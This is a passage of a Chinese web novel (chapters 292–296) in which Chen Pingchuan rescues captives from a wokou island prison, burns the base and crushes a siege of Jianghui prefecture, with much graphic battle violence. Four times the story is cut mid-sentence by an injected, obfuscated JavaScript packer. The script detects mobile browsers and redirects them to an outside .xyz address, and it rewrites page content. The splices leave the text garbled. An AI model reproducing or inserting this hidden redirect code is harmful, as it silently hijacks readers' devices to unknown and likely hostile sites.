“不行,看守牢房是大事,犬养大人回来要是发现我们擅离职守,会砍了我们的脑袋。”那倭寇虽然也心痒痒,但还是有些顾忌。 “怕什么,就看一眼,马上回来。” 就在他们犹豫不决,注意力完全被吸引过去的一刹那,陈平川动了。 “动手!” 他口中吐出两个字,石头那庞大的身躯在这一刻却展现出了与体型完全不符的敏捷。 那两个倭寇只觉得眼前一花,还没等他们反应过来,石头已经冲到了他们面前。 他根本没有用武器,只是伸出两只铁钳般的大手,一手一个,直接掐住了两个倭寇的脖子。 那两个倭寇拼命挣扎,双脚乱蹬,可他们的力气在石头面前,就如同婴儿一般可笑。 “咔嚓!咔嚓!” 两声清脆的骨裂声几乎同时响起,石头的双手猛一用力,直接扭断了两人的脖子。 他松开手,两具尸体像破麻袋一样瘫倒在地。 整个过程,快如闪电,从陈平川下令到解决掉守卫,不过短短两三个呼吸的时间。除了几声沉闷的倒地声,几乎没有发出任何多余的声响。 陈平川立刻将两具尸体拖到旁边的阴影里藏好,并从他们身上找到了牢房钥匙。 打开牢房的门,一股更加浓烈、更加刺鼻的恶臭扑面而来,那是一种混合了血腥、腐烂、排泄物和绝望的味道,熏得人几乎要呕吐。 牢房内光线昏暗,只有几缕阳光从墙壁上高处的小窗透进来,勉强能看清里面的情形。 这里,简直是人间地狱。 第292章 同胞出囚笼,倭寇入地府 牢房里,是一排排用粗大木桩隔开的囚笼。 地上铺着潮湿发霉的稻草,稻草上沾满了黑褐色的污迹,散发着令人作呕的气味。 昏暗的光线下,能看到一个个蜷缩在角落里的人影,他们衣衫褴褛,蓬头垢面,身上布满了伤痕和污垢,像是一群被遗弃的牲口,苟延残喘。 听到开门声,许多人影只是麻木地动了一下,连抬头的力气都没有。长期的折磨,已经磨灭了他们心中所有的希望。 陈平川的目光,快速地在这些囚笼里扫过。 这里关押的人,比他想象的还要多。有男有女,有老有少,大部分都是被倭寇从沿海掳掠来的大业朝百姓。 每一个人的眼神里,都充满了绝望。 “张盛财伯父!张金宝!”陈平川压低了声音,呼唤着。 角落里,一个囚笼里的人影似乎动了一下。 陈平川立刻快步走了过去,石头留在门口,警惕地观察着四周。 走近了,陈平川才看清,那个囚笼里关着两个人。他们互相依偎着,蜷缩在最阴暗的角落里,身上盖着一些破烂的草席,整个人瘦得只剩下一把骨头,几乎看不出人形。 其中一个稍胖一些的身影,听到声音,艰难地抬起了头。 他的头发乱得像一团鸡窝,脸上满是污垢和血痕,嘴唇干裂,眼窝深陷。他努力地睁开浑浊的眼睛,看向站在囚笼外的陈平川,眼神里充满了迷茫和不解。 “你……你是谁?叫俺……叫俺干啥?”声音沙哑,充满了虚弱。 尽管他的样子已经大变,但陈平川还是一眼就认了出来。 这个曾经是桃花村首富,在庐州城也是一掷千金,意气风发的张盛财,现在变成了街边的乞丐。 陈平川的鼻子猛地一酸,一股难以言喻的怒火和心疼,瞬间冲上了头顶。 他强忍着心中的激动,声音有些颤抖地说道:“伯父,是我,平川。” “平……平川?”张盛财浑浊的眼睛里,闪过一丝困惑。他呆呆地看着陈平川,似乎在努力地回忆着这个名字。 过了好一会儿,他才像是想起了什么,浑身一震,眼睛猛地瞪大了。 “陈平川?你是……你是那个……?” “是我。”陈平川重重地点了点头。 “不……不可能……”张盛财用力地摇着头,似乎以为自己出现了幻觉,“你……你怎么会在这里?俺……俺一定是在做梦……对,是在做梦……” 说着,他竟然抬起手,狠狠地给了自己一个耳光。 “啪”的一声,清脆响亮。 脸上传来的剧痛,让他意识到,这一切都不是梦。 “爹……咋了……”他身边的另一个人影被惊醒了,虚弱地问道。 那是张金宝。 他的情况比张盛财更糟,整个人瘦得脱了相,脸上青一块紫一块,一条胳膊似乎被打断了,以一个诡异的角度扭曲着。 当他看到站在外面的陈平川时,也愣住了,随即眼眶一红,哇的一声就哭了出来。 “大哥!真的是你吗大哥!呜呜呜……我还以为再也见不到你了……” 这一声哭喊,打破了牢房里的死寂。 “金宝!我们有救了!”张盛财一把抱住自己的儿子,这个平日里天不怕地不怕的汉子,此刻也老泪纵横,哭得像个孩子。 陈平川打开笼子,钻进囚笼,将身上的外衣脱下来,披在瘦骨嶙峋的张盛财身上。 “伯父,金宝,没事了。”他的声音很轻,“我来接你们回家。” 张盛财看着陈平川,嘴唇哆嗦着,一句话也说不出来,只是用力地点着头,眼泪止不住地往下流。 陈平川扶起他们父子俩,对石头说道:“你先带他们出去,去我们进来的那个仓库等着,我随后就到。” “主公,那你呢?”石头有些不放心。 “这里还有些事情要处理。”陈平川的目光,扫过牢房里其他那些囚笼,扫过那些充满渴望和期盼的眼神。 他不是圣人,但也不是铁石心肠。 既然来了,就不可能只救自己的亲人,而对这些同胞的苦难视而不见。 “快去!”陈平川催促道。 “是!”石头不再犹豫,背起几乎无法行走的张金宝,扶着张盛财,大步走出了牢房。 看着他们离开的背影,陈平川转过身,面对着牢房里那一双双眼睛。 他深吸一口气,朗声说道:“诸位乡亲,我是汉人陈平川,今日前来,便是为了剿灭这伙倭寇,解救大家。” 他的话音刚落,整个牢房瞬间沸腾了。 “得救了!我们得救了!” “苍天有眼啊!” 压抑已久的哭声、欢呼声,响成一片。许多人挣扎着跪在地上,对着陈平川拼命地磕头。 陈平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197037|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川阻止他们,沉声说道:“现在,倭寇的主力已经外出,岛上守备空虚,正是我等脱困的最好时机!我会将所有牢门打开,但你们要记住,出去之后,不要乱跑,不要喧哗!跟着我的手下,去指定的地方集合!谁若是不听号令,惊动了倭寇,休怪我陈平川不讲情面!” 他的声音不大,却带着一股不容置疑的威严,让所有人都安静了下来。 “是死是活,全在你们自己一念之间!” 所有人纷纷点头,表示明白。 陈平川不再多言,开始一个一个地打开那些囚笼的锁。 当陈平川带着人质走出牢房的时候,玲儿出现在他的面前。 “主公,都搞定了。”她的声音很轻,“粮仓和**库的位置已经摸清,上面涂了火油,随时可以点燃。留守的倭寇巡逻队和暗哨,也已经全部拔除。” “很好。”陈平川点了点头,对她的效率非常满意。 就在这时,远处的天空中,传来一声尖锐的鹰唳。 那是燕飞的信号。 这声鹰唳代表着,他已经占据了营寨的制高点,将整个黑礁岛的动向都纳入了掌控之中。 “时机已到。”陈平川眼中寒光一闪,“玲儿,你把那些被掳来的百姓送到安全地方,告诉他们,稍安勿躁,很快就可以回家了。” “是。”玲儿应了一声,转身离去。 陈平川深吸了一口带着咸腥味的海风,胸中的郁气稍稍舒缓了一些。 他看着那些从地牢里被解救出来,正由靖海营战士引导着,小心翼翼地走向仓库的百姓,他们的脸上,还带着劫后余生的喜悦。 陈平川没有立刻下令总攻,他在等待。 等待所有无辜的人都撤到安全地带。 大概一炷香之后,玲儿的信号发过来,人质已经平安转移,可以动手了! 随着陈平川的一个手势,埋伏在黑暗中的靖海营战士们,如同一群幽灵,悄无声息地扑向了倭寇的营房。 这些倭寇还在睡梦之中,就被锋利的刀刃割开了喉咙。 黑夜中,只听见一声声短促的惨叫和利刃入肉的闷响,随即又归于沉寂。 偶尔有被惊醒的倭寇,刚想呼喊,就被数把钢刀砍成了肉泥。 战士们的眼中没有丝毫怜悯,只有冰冷的杀意,他们手中的刀,是复仇的利刃,为那些无辜惨死的同胞,讨还血债! 第293章 陈平川闷声发大财,魏大人都快急哭了! 陈平川立在院子里,听到各处传来倭寇的惨叫,脸色平静,心中毫无波澜。 海哥带着几个海盗兄弟,气喘吁吁地跑了过来。 “主公!”海哥一看到陈平川,脸上就露出了兴奋的笑容,“太过瘾了!那些倭寇到死,都不知道咱们是怎么进来的!” “犬养三郎的宝库在哪?”陈平川开门见山地问道。 提到宝库,海哥的眼睛瞬间亮了,闪烁着贪婪的光芒。 “这个我熟!”他拍着胸脯保证道,“犬养的东西,都藏在他住的那个最大的木屋下面,有个地窖,入口隐蔽得很!要不是我以前跟他喝酒的时候,他喝多了吹牛,我还真不知道!” “带路。”陈平川言简意赅。 “好嘞!主公这边请!” 海哥立刻在前面引路,一行人快速穿过营寨,直奔最深处那座最为高大、也最为坚固的木屋。 这里是犬养三郎的住处,也是整个倭寇营寨的指挥核心。 推开门,屋内的陈设充满了东瀛风格,墙上挂着**和弓箭,地上的榻榻米上,还散落着几个酒瓶。 海哥轻车熟路地走到屋子的一角,掀开一张兽皮地毯,露出一块严丝合缝的木板。他用力一拉,一个黑漆漆的地道口便出现在众人面前。 “主公,下面就是了!”海哥的呼吸都有些急促了。 陈平川点燃一支火把,率先走了下去。 地道不长,下面是一个足有半个篮球场大小的石室。当火把的光芒照亮石室的一瞬间,饶是陈平川见惯了财富,也不禁倒吸了一口凉气。 只见石室里,堆满了大大小小的箱子。 有的箱子敞开着,里面是码放得整整齐齐的金条和银锭,在火光下闪烁着诱人的光芒。 有的箱子里,装满了各种珍珠、玛瑙、翡翠等珠宝首饰,琳琅满目,璀璨夺目。 除了金银珠宝,墙角还堆放着大量的丝绸、瓷器、茶叶等,这些都是他们从大业朝沿海抢掠来的货物。 这简直就是一个巨大的宝库! 犬养三郎盘踞沿海多年,烧杀抢掠,积累的财富,远远超出了陈平川的想象。 “发了……发了……”几个跟在后面的兄弟,看着这满屋子的财宝,口水都快流下来了,眼睛里全是小星星。 陈平川的心头也是一片火热。 他来江徽府,最缺的是什么?就是钱! 有了这笔钱,他就可以将靖海营的规模再扩大数倍,武器装备也能全面更新换代。 这笔钱,将是他未来争霸天下的第一桶金! “还愣着干什么?”陈平川对海哥道,“传我的命令,让所有人都过来,把这里的东西,一箱不留,全部给我搬到船上去!” “是!是!”海哥立即跑了出去传令。 很快,靖海营的战士们就涌了进来,开始了热火朝天的搬运工作。 陈平川站在宝库中央,看着这如山的财富,心里一片冰冷。 这些金银珠宝,每一件上面,都沾满了大业朝百姓的血和泪。 他要用这些沾满了血泪的财富,去铸就一支无敌的铁军,去开辟一个全新的世界! 搬运工作持续了近一个时辰。 当最后一个箱子被抬出地窖后,整个黑礁岛上,所有属于倭寇的财富,都被搜刮一空。 靖海营的战士们,脸上都洋溢着兴奋和喜悦。这一趟,收获实在是太大了。 海哥搓着手,凑到陈平川身边,谄媚地笑道:“主公,东西都搬完了。这黑礁岛地势险要,易守难攻,咱们是不是可以……” 他的意思很明显,想让陈平川占领这里,作为靖海营的新基地。 然而,陈平川却摇了摇头。 他看着这座充满了罪恶和血腥的岛屿,看着那些被倭寇搭建起来的木屋和帐篷,眼神中没有一丝留恋,只有彻骨的冰冷。 “一个藏污纳垢的贼窝,留着做什么?” 他转过身,面对着所有靖海营的将士,高声喝道。 “传我命令。” “烧!” “把这里,给我烧成一片白地!让这座岛,从今往后,寸草不生!” 所有人都愣住了。 海哥更是急了:“主公,这……这太可惜了吧!这么好的地方……” “可惜?”陈平川冷笑一声,打断了他,“被他们残害的无辜百姓,就不可惜吗?我不要一个贼窝,我要的是,让所有人都知道,胆敢踏上我大业疆土,残害我汉家百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197038|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓的,是个什么下场!” “我要让这冲天的火光,去告诉犬养三郎,他的老家,没了!” 他的声音,铿锵有力,掷地有声。 所有靖海营的战士,听得热血沸腾。 “烧!” “烧光这帮**的!” 不知是谁先喊了一声,随即,群情激奋。 战士们纷纷拿起火把,扔向了那些早已被浇上火油的木屋和帐篷。 冲天的火光,瞬间腾起,将整个黑礁岛映得如同白昼。 烈火,吞噬着岛上的一切罪恶。 陈平川站在船头,冷冷地看着这一切,脸上没有任何表情。 “启航。”他淡淡地说道,“回江徽府。” …… 江徽府,知府衙门。 魏长明在城楼上急得像热锅上的蚂蚁,来回踱步,额头上布满了细密的汗珠。 “怎么样?有消息了吗?”他第十七次抓住一名刚从港口回来的衙役,声音都有些变调了,“陈平川的援军呢?他的人到哪了?!” 那衙役哭丧着脸,摇了摇头:“大人,海面上……海面上一艘船都没有!别说援军了,连个渔船的影子都看不到!” “不可能!”魏长明一把推开衙役,气得浑身发抖,“再探!他陈平川要是敢不来,老子就治他一个通敌之罪!” 他嘴上虽然骂得凶,但心里却越来越慌。 城外,犬养三郎的三千倭寇,已经将江徽府围得水泄不通。黑压压的一片,旌旗招展,杀气腾腾。 虽然倭寇并不擅长攻城,但那种兵临城下的压迫感,还是让魏长明寝食难安。 他现在所有的希望,都寄托在了陈平川身上。 他一边盼着陈平川赶紧带人来,和倭寇拼个两败俱伤,自己好坐收渔翁之利。 一边又在心里恶毒地诅咒,最好陈平川全军覆没,这样一来,江徽府沿海就又回到他魏长明的掌控之中。 “报——!” 就在这时,一名探子,连滚带爬地跑上城楼,声音里充满了惊恐。 “大人,不好了!不好了!” 魏长明心里“咯噔”一下,一种不祥的预感涌上心头。他厉声喝道:“什么不好了?快说,到底怎么了?” 第294章 骨气何在?不如畜生! 那探子喘着粗气,脸上血色尽失,结结巴巴地说道:“龙……龙涎湾……空了!” “什么空了?”魏长明没听明白。 “龙涎湾的渔村,一个人都没有了!所有的船,也都不见了!陈平川……陈平川带着他手下所有的人和船,不知去向了!” 这个消息,如同一道惊雷,在魏长明耳边炸响。 他整个人都懵了,呆呆地站在那里,脑子里一片空白。 龙涎湾空了? 陈平川带着所有人和船,不知去向了? 他到底去哪了? 忽然,一个可怕的念头,钻进了魏长明的脑海。 他想起了陈平川接到自己求援令箭时,那慷慨激昂、信誓旦旦的模样。 想起了陈平川那句“誓与江徽府共存亡”的豪言壮语。 原来……原来全都是装的! 这个混蛋,从一开始就没打算跟倭寇硬拼! 他接下令箭,收下“犒赏”,说那些话,全都是在演戏!演给自己看! 魏长明瞬间脸色煞白,浑身冰冷。他终于明白了一切。 陈平川根本就不是想当他的盾牌,而是把他,把整个江徽府,都当成了钓饵! 他故意摆出要和倭寇决一死战的架势,引诱犬养三郎率领主力前来攻城,然后自己却趁着倭寇老巢空虚,去抄了犬养三郎的后路! 好狠!好毒的计策! 魏长明只觉得一阵天旋地转,差点一头栽倒在地。 他被耍了!耍得团团转! “陈平川……你……你个不得好死的畜生!”魏长明气得破口大骂,声音凄厉,充满了无尽的悔恨和恐惧。 现在,犬养三郎的大军就在城外。 一旦他得知自己的老巢被抄,会是何等的暴怒? 他会不会把这笔账,全都算在自己头上? 一想到犬养三郎那残忍的手段,魏长明就吓得两腿发软。 他完了!他彻底完了! 恐惧,如同潮水一般,淹没了他的理智。 他再也顾不上什么知府的体面和尊严了,跌跌撞撞地跑到城墙边,扒着墙垛,对着城下黑压压的倭寇阵营,用尽全身力气,声嘶力竭地大喊起来: “犬养将军!犬养将军!别打了!别打了!是个误会!天大的误会啊!” 他的声音,因为恐惧而变得尖锐刺耳,在战场上空回荡。 城墙上的守军,城下的倭寇,都愣住了,纷纷抬头看向城楼上那个状若疯癫的身影。 “我是江徽府知府魏长明啊!”魏长明还在拼命地喊着,“犬养将军,你听我说,这不关我的事!是他杀了你的人!不是我啊!” “我,我愿意献出城里的金银财宝,女人……女人也随便挑!只求您……只求您不要攻城啊!” 他这番卑微如狗的言论,清晰地传到了每一个人的耳朵里。 城墙上的守军们,全都惊呆了。 他们面面相觑,眼神中充满了不敢置信。 这就是他们的父母官?这就是让他们为之卖命,守护城池的知府大人? 竟然……半点骨气也无! 一股巨大的羞辱感和愤怒,涌上了所有士兵的心头。 随即,便是无尽的绝望。 连知府大人都想着投降保命了,他们还守个什么劲? 军心,在这一刻,彻底崩溃了。 城下,倭寇阵中。 犬养三郎骑在一匹高头大马上,冷冷地听着魏长明的哭喊。 他的独眼里,充满了轻蔑和不屑,就像在看一个跳梁小丑在卖力地表演。 一个副将凑上前来,低声问道:“大人,这魏长明好像是想投降,我们……” “投降?”犬养三郎冷笑一声,打断了他,“现在才想投降?晚了!” 他现在只有一个念头,那就是攻破江徽府,杀光这里所有的人,抢光这里所有的东西,用最残忍的方式,来发泄他心中的滔**火! 至于魏长明这个软骨头的狗官…… 犬养三郎看着城墙上那个还在喊叫的身影,嘴角勾起一抹残忍的弧度。 他要让这个蠢货,亲眼看着自己的城池被攻破,然后在无尽的绝望和恐惧中,被他一片一片地割下肉来! “告诉他,”犬养三郎的声音冰冷得不带一丝感情,“想要活命,可以。让他自己打开城门,跪着爬出来,舔干净我靴子上的泥土。我可以考虑,给他留个全尸。” 犬养三郎那充满侮辱性的话语,很快就由一个懂得汉话的倭寇,高声传到了城墙之上。 魏长明听完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201958|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个人都僵住了。 让他自己打开城门?跪着爬出去舔鞋底? 这……这比杀了他还难受! 他好歹也是朝廷命官,是堂堂的江徽府知府! “欺人太甚!欺人太甚!”魏长明气得浑身发抖,脸色由白转青,又由青转紫。 他知道,犬养三郎这是在戏耍他。 以倭寇的残暴本性,就算他真的照做了,下场也绝对是死路一条,而且会死得更惨。 投降是死,不投降也是死! 横竖都是一死,魏长明心中那仅存的一点点骨气,反倒被逼了出来。 “守城!都给老子守城!”他对着周围已经军心涣散的守军,歇斯底里地咆哮道,“谁敢后退一步,杀无赦!给我顶住!一定要顶住!” 然而,他的话,此刻已经没有任何作用了。 士兵们看着他,眼神里充满了鄙夷和不信任。 刚才哭着喊着要投降的是你,现在逼着我们去送死的也是你。凭什么? 人心一旦散了,就再也聚不起来了。 城下,犬养三郎已经等得不耐烦了。 他看着城墙上乱作一团的景象,独眼中闪过一丝狰狞的杀意。 他缓缓举起了手中的**,刀锋在阳光下闪烁着森冷的寒光。 “攻城!” 他猛地向前一挥,发出了最后的命令。 “杀光城里所有的男人!抢光所有的女人和财富!” “呜——!” 低沉的号角声响起,数千名倭寇,如同出笼的野兽,发出了震天的嚎叫,扛着简陋的云梯,推着巨大的攻城车,如潮水一般,朝着江徽府的城墙汹涌而去。 “放箭!放箭!” 城墙上,几个忠于职守的军官还在拼命地指挥着。 稀稀拉拉的箭雨落了下去,却无法阻挡倭寇疯狂的冲锋。 很快,一架架云梯就搭在了城墙上。 无数倭寇嘴里叼着刀,像猴子一样,顺着云梯向上攀爬。 “滚木!礌石!都给老子往下砸!” 城墙上,乱成了一锅粥。 守军们各自为战,有的还在拼死抵抗,将滚木礌石奋力推下城墙,砸得下面的倭寇鬼哭狼嚎。 有的却已经吓破了胆,扔下武器,转身就往城下跑。 第295章 困兽之斗!倭寇最后的疯狂! 魏长明看着眼前这惨烈的一幕,双腿抖得像筛糠一样。 他知道,城破,只是时间问题了。 “来人!备马!”他尖叫着,一把扯下自己的官帽,扔在地上,在几个心腹亲信的护卫下,慌不择路地冲下城楼,直奔知府衙门的后院。 他不能死在这里! 他要去后院的秘道!那是他早就为自己准备好的退路,可以神不知鬼不觉地逃出城外! 只要能逃出去,这一城的人死活都与他无关! 城墙上的战斗,已经进入了白热化。 倭寇已经通过云梯爬上了城墙,与守军展开了惨烈的肉搏。 兵器碰撞的“叮当”声,临死前的惨叫声,受伤后的哀嚎声,以及倭寇们疯狂的嘶吼声,交织成了一曲死亡的乐章。 城门,在巨大的撞木一下又一下的撞击下,发出了“吱呀”的呻吟,门上的木屑和铁钉不断脱落,眼看就要支撑不住了。 城内的百姓,躲在家里,听着外面传来的厮杀声,吓得瑟瑟发抖,脸上写满了恐惧和绝望。 他们知道,一旦城破,等待他们的,将是一场惨无人道的**。 整个江徽府,都笼罩在一片死亡的阴影之下。 就在所有人都陷入绝望,以为末日即将来临的时刻。 东方的海平面上,突然出现了一片黑点。 黑点由远及近,越来越清晰。 那是一片船帆! 一支庞大的舰队,正乘风破浪,全速朝着江徽府的方向驶来! 船队的最前方,一艘巨大的战船的船头,一个身影手持长剑,迎风而立。他的黑色披风,在海风中猎猎作响。 正是烧完了黑礁岛,满载而归的陈平川! “快看!那是什么!” 城墙上,一个眼尖的士兵,最先发现了远方的舰队。他揉了揉眼睛,还以为是自己眼花了,随即用尽全身力气,指着海面,发出了不敢置信的惊呼。 他的喊声,吸引了所有人的注意。 城墙上正在浴血奋战的守军,城内躲在暗处瑟瑟发抖的百姓,甚至城下正在疯狂攻城的倭寇,都不约而同地,将目光投向了东方的大海。 当他们看清那片越来越近的船帆时,所有人都呆住了。 “是援军!是援军来了!” 不知是谁,用嘶哑的嗓子,喊出了这句话。 短暂的沉寂之后,城内,爆发出了一阵震耳欲聋的欢呼声! “我们有救了!我们有救了!” “苍天有眼啊!” 绝望中的人们,仿佛看到了救命的稻草,他们哭着,笑着,跳着,将所有的希望,都寄托在了那支从天而降的舰队上。 而城外的犬养三郎,也看到了这支舰队。 “大业朝的援军?怎么可能?” 出兵之前,他早已将大业朝的底细摸得一清二楚。这个庞大的帝国如今内有流民四起,外有蛮族叩关,早已是焦头烂额,自顾不暇,根本不可能有多余的兵力来增援这小小的江徽府!可是眼前这支舰队是怎么回事? 这时,一名留守在黑礁岛上手下连滚带爬地跑了过来,脸上满是惊恐和绝望:“大人!不好了!黑礁岛……我们的老巢,被人端了!一把火烧成了白地!” “什么?!”犬养三郎大惊失色,一把抓住那手下的衣领,“是谁干的?!” 那手下颤抖着手指着远方海面上的舰队:“就是他们!带头的汉人叫陈平川!他收编了海哥那帮海盗,练出了一支水师,趁我们主力尽出,从一条没人知道的暗道登岛,攻陷了黑礁岛!” 陈平川? 当犬养三郎顺着手下的指引,看清了那旗舰上迎风招展的青面陈字大旗时,这个名字在他脑中炸响。 原来是他!难怪那知府魏长明会提到此人! 他的脸色瞬间变得铁青,比吞了苍蝇还要难看。 他回头看了一眼久攻不下的城门,又看了一眼背后那支气势汹汹的舰队,一颗心,沉到了谷底。 他知道,自己陷入了腹背受敌的状况! 而此时,在旗舰的船头,陈平川正举着单筒望远镜,冷冷地观察着眼前的一切。 江徽府城墙上的惨烈厮杀,倭寇的疯狂攻势,全都清晰地落入他的眼中。 一切,都在他的计划之中。 “传令下去,”他放下了望远镜,声音平静得没有一丝波澜,“船队停靠,军队上岸,在倭寇背后五里处,列阵!” “主公,我们不立刻进攻吗?”身后的林勇有些不解地问道。 “不急。”陈平川摇了摇头,眼中闪烁着猎人般的光芒,“好戏才刚刚开场,这么快就结束,岂不是太便宜他们了?让他们先自己乱一阵子。” 很快,陈平川的军队登上岸边,如同乌云一般,缓缓地压了上来,在距离江徽府十里左右的地方停下。 几十个鸳鸯阵形成了一个半圆形的包围圈,彻底断绝了犬养三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202011|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎逃跑的任何可能。 这种无声的压迫,比直接冲上来厮杀,更让人感到恐惧。 城下的倭寇们,停止了攻城。 他们惊疑不定地看着对面上那支军队,又回头看了看近在咫尺的江徽府城,一时间进退两难。 继续攻城? 背后那支舰队随时可能发动攻击,到时候就是前后夹击,死路一条。 返回船上,从海上突围? 看看对方那严阵以待的阵势,不可能让他们从容登船。 慌乱,开始在倭寇阵中蔓延开来。 犬养三郎的脸色,阴沉得能滴出水来。 他死死地盯着陈平川的旗舰,那面青面陈字大旗,在他眼中是如此的刺眼。 他现在知道,自己中计了。 从头到尾,他都被那个汉人**于股掌之上。 对方不仅准确地预测到了他的每一步行动,还利用江徽府作为诱饵,将他这头自以为是的猛虎,引入了一个精心布置的陷阱。 现在,陷阱的口子,已经收紧了。 “大人,我们……我们现在怎么办?”一个心腹头目策马来到犬养三郎身边,声音里带着一丝颤抖。 怎么办? 犬养三郎也想知道怎么办! 他的脑子在飞速地运转着。 逃?已经无路可逃。 投降?他犬养三郎纵横东海数十年,还从来没有向任何人投降过! 那就只剩下最后一条路了。 死战! 困兽犹斗,何况是人! 他犬养三郎,就算是死,也要从敌人身上,狠狠地撕下一块肉来! 一股疯狂的戾气,从他的心底升起,瞬间冲昏了他的头脑。 他的独眼,变得一片赤红,充满了血丝。 “传我命令!”犬养三郎的声音,嘶哑而疯狂,如同受伤的野兽在咆哮,“停止攻城!全**向!在城外摆开阵势!” “我们回不去了!那就不用回了!” “今天,就在这里,跟他们决一死战!” “让他们看看,我们东瀛武士的厉害!杀光他们!用他们的血,来祭奠我们的荣耀!” 他的咆哮,充满了绝望和疯狂,也激起了那些同样陷入绝境的倭寇心中最后的凶性。 “嗷嗷嗷!” 倭寇们发出了野兽般的嚎叫,纷纷扔掉了手中的攻城器械,转过身来,面对陈平川的靖海营,开始重新整队。 他们知道,这将会是他们的最后一战。 第296章 阵前擒王,血债血偿! 城墙上,劫后余生的守军们,目瞪口呆地看着城下这戏剧性的一幕。 前一刻还凶神恶煞,拼命攻城的敌人,竟然放弃了唾手可得的城池,转而去跟援军拼命了? “他们怎么停了?”一个年轻的士兵喃喃自语。 “管**!快!堵上城门缺口!加固防御!”一个守军统领反应过来,立刻大声吼道。 士兵们如梦初醒,纷纷行动起来,搬运沙袋、石块,拼命地修补着被撞得摇摇欲坠的城门和残破的城墙。 而那个准备开溜的魏长明,也被外面的动静惊动了。 “大人,好消息!倭寇停止攻城了!” 一名亲信站在地道口对着他喊。 魏长明小心翼翼地爬回地面,将信将疑:“真的?” 他跑到城墙边,扒着墙缝往外一看,整个人都愣住了。 陈平川?不是说他跑了吗? 而且还把倭寇给堵在了城外? 虽然想不通,但一股狂喜,还是涌上了他的心头。 得救了!他不用跑了! 他的知府宝座,保住了! 魏长明立刻整理了一下自己凌乱的衣冠,清了清嗓子,又重新摆出了那副官老爷的架子,准备等战斗结束,就出去“慰问”得胜之师。 对面,陈平川看着倭寇的动向,脸上露出了一丝不易察觉的微笑。 “主公,他们好像要跟咱们拼命了。”林勇说道。 “困兽之斗罢了。”陈平川不以为意,“正好,省得我们再费力气去追杀那些漏网之鱼了。” 他举起手,做了一个准备进攻的手势。 “今天,我要让这江徽府城下,成为犬养三郎和他三千倭寇的埋骨之地!” “告诉将士们,”陈平川的声音陡然拔高,充满了冰冷的杀意,“此战,不留活口!” 随着他的命令下达,靖海营的战士们,开始缓缓向倭寇逼近。 一场最后的收割,即将开始。 “杀!” 随着陈平川一声令下,早已蓄势待发的战士们,如同下山的猛虎,发出震天的呐喊,冲向倭寇的阵营。 盾牌手在前,狼筅手紧随其后,再后面是长矛手和短刀手。 这些以逸待劳、士气高昂的战士,带着冰冷的杀意,狠狠地撞入了倭寇的阵型之中。 “噗嗤!” 最前方的倭寇,还没来得及挥刀,就被鸳鸯阵最前方的盾牌手用盾牌狠狠一撞,撞得眼冒金星,脚步踉跄。 紧接着,数支长长的狼筅,便从盾牌的缝隙中刺了出来。 狼筅那如同狼牙一般的枝杈,瞬间就勾住了倭寇的衣服、胳膊,让他们动弹不得。 还没等他们挣脱,后面寒光闪闪的长矛,就已经精准地刺穿了他们的胸膛。 鲜血,瞬间染红了沙滩。 一边是刚刚经历过惨烈攻城,早已精疲力竭、军心动摇的倭寇。 另一边是养精蓄锐、满心杀意,并且有着严明纪律和精良装备的靖海营。 这场战斗,从一开始,就呈现出了一边倒的态态。 这已经不能称之为战斗了,而是一场单方面的**。 鸳鸯阵在战场上,发挥出了无与伦比的威力。 它就像一个巨大的绞肉机,不断地向前推进,将倭寇的阵型分割、包围,然后一点一点地吞噬、绞杀。 倭寇们虽然凶悍,但在这种配合默契的阵法面前,他们的个人武勇,显得是那么的苍白无力。 他们挥舞着**,却砍不透靖海营士兵厚实的盾牌。 他们想要冲锋,却被狼筅死死地缠住,寸步难行。 迎接他们的,只有一柄柄从盾牌后刺出的,冰冷无情的长矛。 惨叫声,此起彼伏。 犬养三郎看着自己的手下,被对方如同砍瓜切菜一般**,目眦欲裂。 “不准退!不准退!”他挥舞着**,疯狂地咆哮着,“给我冲!杀了他们!杀光他们!” 他试图组织起有效的反击,但在靖海营稳步推进的阵线面前,所有的反抗都显得徒劳无功。 